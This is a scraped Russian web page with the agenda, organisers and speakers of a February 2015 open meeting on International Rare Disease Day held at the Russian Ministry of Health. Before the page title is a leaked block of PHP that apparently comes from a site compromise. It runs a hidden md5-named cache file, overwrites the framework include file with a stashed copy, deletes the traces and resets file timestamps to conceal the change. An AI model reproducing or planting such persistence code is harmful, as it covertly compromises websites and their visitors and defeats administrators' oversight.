$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Программа открытого заседания, посвященного Международному Дню редких заболеваний
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Мероприятия Программа открытого заседания, посвященного Международному Дню редких заболеваний
Программа открытого заседания, посвященного Международному Дню редких заболеваний

Открытое заседание Совета по защите прав пациентов при МЗ РФ, посвященное Международному Дню редких заболеваний

Каждый год в последний день февраля по инициативе EURORDIS (Европейской организации по редким болезням) отмечают Международный День редких заболеваний. Дата выбрана не случайно- 29 февраля – самый «редкий» день в году. Одним из основных мероприятий 2015 года, приуроченных к Международному Дню редких заболеваний, в России будет Открытое заседание Совета по защите прав пациентов, которое будет проходить при поддержке Министерства здравоохранения РФ, ведущих пациентских организаций с видео-трансляцией на все регионы страны.

Москва, 25 февраля
Министерство здравоохранения Российской Федерации

 

Организаторы Конгресса
• Министерство здравоохранения Российской Федерации
• Всероссийский союз общественных объединений пациентов
• Всероссийская организация редких (орфанных) заболеваний (ВООЗ)
• МРБООИ "Союз пациентов и пациентских организаций по редким заболеваниям" (СПИПОРЗ)
• Национальная Ассоциация организаций больных редкими заболеваниями «Генетика»
• Санкт-Петербургская Ассоциация общественных объединений родителей детей-инвалидов ГАООРДИ
• МБОО содействия детям с ревматическими и другими хроническими болезнями «ВОЗРОЖДЕНИЕ»
• АНО "Центр помощи пациентам "Геном"
• БФ Под флагом Добра!
• БФ "Подсолнух"
• МБООИ "Общество пациентов с первичным иммунодефцитом"
• РОО помощи больным несовершенным остеогенезом "Хрупкие дети"
• МБОО «Общество инвалидов, страдающих синдромом Хантера, другими формами мукополисахаридоза и иными редкими генетическими заболеваниями»;
• МБОО «Помощь больным муковисцидозом»
• МБОО «Содействие инвалидам с детства, страдающим болезнью Гоше, и их семьям»

 

10:00 Открытие заседания

10:00-10:05 «Международный день редких болезней» (видео-ролик)

10:10-10:15 Приветствие представителя международного сообщества пациентов по редким заболеваниям - (видео-обращение от представителей EURORDIS)

10:15-10:20 Приветствие представителя Министерства здравоохранения РФ

10:20-10:35 Жулёв Ю.А. «Редкие заболевания в России – от проблемы к решению»

10:35-10:55 Куцев С.И. «Стратегия развития генетической помощи в России»

10:55 -11:05 Петряйкина Е.Ф. «Организация помощи больным с редкими заболеваниями на региональном уровне»

11:05-11:20 Николаева Е.Б. «Опыт реализации региональных программ массового скрининга новорожденных на редкие болезни в Свердловской области»

11:20-11:35 Красильникова Е.Ю. «Возможности регионального финансирования программ по редкими заболеваниям»

11:35-12:30 Брифинг и выступления представителей регионов по телемосту

Санкт-Петербург
Саратов
Краснодар
Казань

12:30 -12:45 Кофе-брейк

12:45-13:05
Меликян М.А. «Стандарты и клинические протоколы по редким заболеваниям – применением на практике»

13:05-13:20
Лукина Е.А. «Контроль эффективности проводимой терапии при редких заболеваниях: ответственность врача и пациента»

13:20 -13:35
Захарова Е.Ю. «Проблемы диагностики и контроля качества лабораторных исследований в области редких болезней»

13:35 -13:45 Кофе-брейк

13:45-15:00 Роль гражданского общества в решении проблем редких болезней
Доклады ведущих пациентских организаций по редким заболеваниям:
• «Школы пациентов: международный и российский опыт», Всероссийская организация редких (орфанных) заболеваний (ВООЗ)
• МРБООИ "Союз пациентов и пациентских организаций по редким заболеваниям" (СПИПОРЗ)
• «Региональный регистр учета здоровья граждан, страдающих редкими (орфанными) заболеваниями», Национальная Ассоциация организаций больных редкими заболеваниями «Генетика»
• Санкт-Петербургская Ассоциация общественных объединений родителей детей-инвалидов ГАООРДИ
- Благотворительный фонд «Под фагом добра»
- Благотворительная деятельность в сфере редких заболеваний

15:00-15:30 Принятие резолюции, закрытие заседания

 
Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru